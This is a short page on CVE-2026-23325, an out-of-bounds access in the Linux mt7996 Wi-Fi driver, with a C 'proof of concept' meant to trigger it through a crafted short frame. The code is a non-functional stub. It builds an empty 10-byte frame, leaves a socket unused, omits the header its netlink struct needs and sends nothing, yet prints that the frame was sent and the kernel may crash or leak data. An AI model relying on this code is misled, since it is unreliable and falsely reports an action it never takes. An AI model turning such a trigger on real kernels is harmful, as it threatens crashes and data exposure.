CVE-2026-23325 Linux内核mt7996驱动越界访问漏洞

/* * PoC for CVE-2026-23325: mt7996_mac_write_txwi_80211 OOB Access * This is a conceptual PoC to demonstrate triggering the vulnerability. * It requires a system with the vulnerable mt7996 driver loaded. */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if.h> #include <linux/wireless.h> // Function to simulate sending a crafted frame void send_crafted_frame() { int sock; struct sockaddr_nl sa; char msg_buffer[1024]; // In a real scenario, this would interact with nl80211 to inject frames // Here we simulate the condition of a short frame causing OOB access printf("[+] Attempting to trigger OOB in mt7996_mac_write_txwi_80211...\n"); // Malicious frame structure: Short length to bypass length checks // but trigger access to mgmt fields beyond the buffer. unsigned char malicious_frame[10] = {0}; // Logic to send frame would go here (e.g., via monitor mode injection) printf("[!] Frame sent. If vulnerable, kernel may crash or leak data.\n"); } int main() { send_crafted_frame(); return 0; }